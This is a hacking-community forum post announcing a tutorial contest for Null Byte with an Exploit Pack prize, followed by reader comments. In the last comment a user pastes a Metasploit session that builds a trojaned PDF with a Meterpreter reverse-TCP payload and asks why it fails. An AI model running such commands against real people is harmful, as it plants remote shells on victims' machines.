News: Null Byte's White Hat Award for Technical Excellence Tutorial Contest

Null Byte's White Hat Award for Technical Excellence Tutorial Contest

Welcome back, my tenderfoot hackers!

As you know by now, we have initiated a few programs to recognize technical excellence here at Null Byte. These include the appointing of Null Byte Fellows (the first round included Phoenix750, Ciuffy and ghost_), job and school recommendations, the upcoming White Hat Hacker certifications, and recognition for technical excellence.

Beginning today and running until February 15th, we are running a contest for the best, new post/tutorial on Null Byte. The winner of this contest will receive:

  • a certificate recognizing their excellence (White Hat Award for Technical Excellence)
  • a free copy of the professional version of Exploit Pack with over 35,000 exploits (worth over $300!)

In addition, the winner will also have an inside track to be appointed as a Null Byte Fellow during the next group selection (coming in the very near future).

Judging the New Articles

To judge the quality of the contributions, I will be looking for the following in the winning articles:

  1. Technical excellence: Is the information that is provided useful and accurate?
  2. Well-written: No grammatical and spelling errors.
  3. Easy to understand: Can the newbie understand and execute the hack?
  4. New and unique content: Don't rehash what has already been done here. Create some new and unique content.

Although I will be looking for new and unique content, an innovative use of old tools will count as new and unique. New scripts, unique to Null Byte, will be looked upon especially favorably, so bone up on Perl, Python, BASH, and even Ruby.

Get working on your latest and greatest contribution to Null Byte. You could win Exploit Pack Pro (thanks to Juan Sacco), a certificate recognizing your contribution, and the undying gratitude from your fellow members of our wonderful community here at Null Byte.

The contest ends February 15th, 2016, so get to work!


Just to be certain: can fellows participate in this event?


Of course, Phoenix750!

I look forward to your submittal!

One more question about this contest: do we need to specify which article we want to enter in the contest, or do you pick one yourself?


I will consider all articles posted from today (January 4) until February 15, 2016.

Thank you for yet another great activity on Null Byte.

I have informally submitted an article today, and hope to submit more. This is a good way to get new members on their keyboards, teaching and learning on the way.

  • Cameron Glass

May I sumbit my old article?

Only new articles are eligible.

I must say your Bad USB article was excellent. Do you have an extension or variation of that?

Since you can do the same with kali nethunter I was focusing recently to do it with any android device / or my raspi and some other extensions. But unfortunatelly I am low on time recently due to school and work.

Lets see if civil engineer guy can win this. (me)
Its an amazing opportunity for me to dig deep in field which i always admired but always hesitated to give it a try.
Its gonna be awesome.

Hello! I was wondering if I could compete with a How-To for a Pen-Testing Raspberry Pi project I have been working on? I think it'd fit well into Nullbyte's How-To articles but I am not sure if it fits with this contest? Thanks

Oops, my mistake I just saw that OTW had already posted a very good Hacking Raspberry Pi article, in the Mr. Robot series. My project is somewhat similar, I think ill work on a different project.

Meh... Kinda bit too over the top for me but I will do my best. :)

Can the same pple win more than once? (hopefully not)

I keep getting this--
Exploit failed: The following options failed to validate: INFILENAME.

this is all my input--
msf > use exploit/windows/fileformat/adobepdfembedded_exe

msf exploit(adobepdfembeddedexe) > set payload windows/meterpreter/reversetcp
payload => windows/meterpreter/reverse_tcp

msf exploit(adobepdfembedded_exe) > set INFILENAME chapter1.pdf
INFILENAME => chapter1.pdf

msf exploit(adobepdfembedded_exe) > set FILENAME chapter1.pdf
FILENAME => chapter1.pdf

msf exploit(adobepdfembedded_exe) > set LHOST ---.---.---.---
LHOST => ---.---.---.---
(i put the correct IP in but I'm not guna share that online :P)

msf exploit(adobepdfembedded_exe) > exploit

  • Exploit failed: The following options failed to validate: INFILENAME.

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